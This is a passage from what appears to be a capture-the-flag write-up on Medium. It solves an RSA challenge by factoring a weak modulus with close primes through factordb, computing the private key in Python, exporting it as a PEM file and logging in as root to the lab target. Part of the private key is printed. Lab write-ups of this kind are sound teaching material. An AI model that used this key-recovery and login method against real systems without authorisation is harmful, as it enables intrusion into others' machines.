href="http://factordb.com/">http://factordb.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jed4MkxHWuFBM-dlUoUtlg.png" /><figcaption>illustration</figcaption></figure><ul><li>Put the N ( modulus ) in the space bar and press factorize</li></ul><pre> p = 30989413979221186440875537962143588279079180657276785773483163084840787431751925008409382782024837335054414229548213487269055726656919580388980384353939415484564294377142773553463724248812140196477077493185374579859773369113593661078143295090153526634169495633688691753691720088511452131593712380121967802013042678209312444897975134224456911144218687330712554564836016616829044029963400114373142702236623994027926718855592051277298418373056707389464234977873660836337340136755093657804153998347162906059312569124331219753644648657722107663012261197728061352359157767204739644300066112274629356310784052940617408518123<br><br> q = 30989413979221186440875537962143588279079180657276785773483163084840787431751925008409382782024837335054414229548213487269055726656919580388980384353939415484564294377142773553463724248812140196477077493185374579859773369113593661078143295090153526634169495633688691753691720088511452131593712380121967802013042678209312444897975134224456911144218687330712554564836016616829044029963400114373142702236623994027926718855592051277298418373056707389464234977873660836337340136755093657804153998347162906059312569124331219753644648657722107663012261197728061352359157767204739644300066112274629356310784052940617408516621</pre><blockquote><strong>Answer : No Answer Needed</strong></blockquote><h3><strong>5.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*YzC55G9LmcbvbuHMVAGoQg.png" /><figcaption>Sixth Question</figcaption></figure><blockquote><strong>Steps of solution :</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*Jw2RE7wiSLdNbw8BhodTpg.png" /><figcaption>python code</figcaption></figure><ul><li>Use this simple python code to calculate the difference</li></ul><blockquote><strong>Answer : 1502</strong></blockquote><h3><strong>6.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*nqSOvd-hddmxtU1TnkvO2A.png" /><figcaption>Seventh Question</figcaption></figure><blockquote><strong>Steps of solution :</strong></blockquote><pre>from Crypto.Util.number import inverse<br>N = 960343778775549488806716229688022562692463185460664314559819511657255292180827209174624059690060629715513180527734160798185034958883650709727032190772084959116259664047922715427522089353727952666824433207585440395813418471678775572995422248008108462980790558476993362919639516120538362516927622315187274971734081435230079153205750751020642956757117030852053008146976560531583447003355135460359928857010196241497604249151374353653491684214813678136396641706949128453526566651123162138806898116027920918258136713427376775618725136451984896300788465604914741872970173868541940675400325006679662030787570986695243903017923121105483935334289783830664260722704673471688470355268898058414366742781725580377180144541978809005281731232604162936015554289274471523038666760994260315829982230640668811250447030003462317740603204577123985618718687833015332554488836087898084147236609893032121172292368637672349405254772581742883431648376052937332995630141793928654990078967475194724151821689117026010445305375748604757116271353498403318409547515058838447618537811182917198454172161072247021099572638700461507432831248944781465511414308770376182766366160748136532693805002316728842876519091399408672222673058844554058431161474308624683491225222383<br>e= 65537<br>q = 30989413979221186440875537962143588279079180657276785773483163084840787431751925008409382782024837335054414229548213487269055726656919580388980384353939415484564294377142773553463724248812140196477077493185374579859773369113593661078143295090153526634169495633688691753691720088511452131593712380121967802013042678209312444897975134224456911144218687330712554564836016616829044029963400114373142702236623994027926718855592051277298418373056707389464234977873660836337340136755093657804153998347162906059312569124331219753644648657722107663012261197728061352359157767204739644300066112274629356310784052940617408516621<br>p = 30989413979221186440875537962143588279079180657276785773483163084840787431751925008409382782024837335054414229548213487269055726656919580388980384353939415484564294377142773553463724248812140196477077493185374579859773369113593661078143295090153526634169495633688691753691720088511452131593712380121967802013042678209312444897975134224456911144218687330712554564836016616829044029963400114373142702236623994027926718855592051277298418373056707389464234977873660836337340136755093657804153998347162906059312569124331219753644648657722107663012261197728061352359157767204739644300066112274629356310784052940617408518123<br>ph_n = (p-1) * (q-1)<br>private_key = inverse(e,ph_n)<br>print(private_key)</pre><ul><li>use this script to get the <strong>Private key</strong></li></ul><blockquote><strong>Answer : No Answer Needed</strong></blockquote><h3><strong>7.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*CCSvQjU-CwDZ6Cl3RNNb_w.png" /><figcaption>Seventh Question</figcaption></figure><blockquote><strong>Steps of solution :</strong></blockquote><p>. Before we get the flag , we should convert the private key we got in the previous into the RSA format</p><pre>from Crypto.PublicKey import RSA<br>from Crypto.Util.number import inverse<br><br># Replace these with your actual key components<br>n = int(&quot;960343778775549488806716229688022562692463185460664314559819511657255292180827209174624059690060629715513180527734160798185034958883650709727032190772084959116259664047922715427522089353727952666824433207585440395813418471678775572995422248008108462980790558476993362919639516120538362516927622315187274971734081435230079153205750751020642956757117030852053008146976560531583447003355135460359928857010196241497604249151374353653491684214813678136396641706949128453526566651123162138806898116027920918258136713427376775618725136451984896300788465604914741872970173868541940675400325006679662030787570986695243903017923121105483935334289783830664260722704673471688470355268898058414366742781725580377180144541978809005281731232604162936015554289274471523038666760994260315829982230640668811250447030003462317740603204577123985618718687833015332554488836087898084147236609893032121172292368637672349405254772581742883431648376052937332995630141793928654990078967475194724151821689117026010445305375748604757116271353498403318409547515058838447618537811182917198454172161072247021099572638700461507432831248944781465511414308770376182766366160748136532693805002316728842876519091399408672222673058844554058431161474308624683491225222383&quot;)<br>e = 65537  # Common public exponent<br><br># Prime factors<br>p = int(&quot;30989413979221186440875537962143588279079180657276785773483163084840787431751925008409382782024837335054414229548213487269055726656919580388980384353939415484564294377142773553463724248812140196477077493185374579859773369113593661078143295090153526634169495633688691753691720088511452131593712380121967802013042678209312444897975134224456911144218687330712554564836016616829044029963400114373142702236623994027926718855592051277298418373056707389464234977873660836337340136755093657804153998347162906059312569124331219753644648657722107663012261197728061352359157767204739644300066112274629356310784052940617408518123&quot;)<br>q = int(&quot;30989413979221186440875537962143588279079180657276785773483163084840787431751925008409382782024837335054414229548213487269055726656919580388980384353939415484564294377142773553463724248812140196477077493185374579859773369113593661078143295090153526634169495633688691753691720088511452131593712380121967802013042678209312444897975134224456911144218687330712554564836016616829044029963400114373142702236623994027926718855592051277298418373056707389464234977873660836337340136755093657804153998347162906059312569124331219753644648657722107663012261197728061352359157767204739644300066112274629356310784052940617408516621&quot;)<br><br>phi = (p-1) * (q-1)<br><br>d = inverse(e, phi)<br><br>key = RSA.construct((n, e, d, p, q))<br>with open(&quot;private_key.pem&quot;, &quot;wb&quot;) as f:<br>    f.write(key.export_key(&#39;PEM&#39;))</pre><ul><li>Use this simple code , You will find this <strong>output</strong></li></ul><pre>-----BEGIN RSA PRIVATE KEY-----<br>MIIJKAIBAAKCAgEA62YfKHvEPI+pLduiGfdOpGe18id7BQlXM7NRqnvMO2YFPlxi<br>9r6Ug9dNGp3T0DMA4t8DF/fBLxFG07XKDOKfOtwt4dt4lDqZmdzMPM+dW/QxF4zy<br>7pvJtWLNF02NH5vmqsFk50S32KAKrf5e2WDAiDyXXJSojkr4MubfCg+eJn<br>A9uqzDnAEPCNkPk+0sgPoCY9sdjCEytJWlNfLl6If87ejyH59vPpDva7WrkivOcB<br>IlLx<br>-----END RSA PRIVATE KEY-----</pre><p><strong>. this is a part of the full output , but it is more big</strong></p><blockquote><strong>Answer : <br>1- you need to login as a root user to the IP of the target</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*ibY5JJUIE7ZTnAUo8AVZtQ.png" /></figure><p>→ <strong>-i :</strong> to input the key</p><p>→ <strong>priv.pem</strong> : the private key with RSA format</p><p>. When we entered there ,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*7SyNg3jVZs17KI7b8149rQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*9qrGFykOXf7MWhtre9ZIZw.png" /><figcaption>Flaggggggg</figcaption></figure><p>→ I hope this Write-up helps you , Follow me for more write-ups 😔</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6773dfa826c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>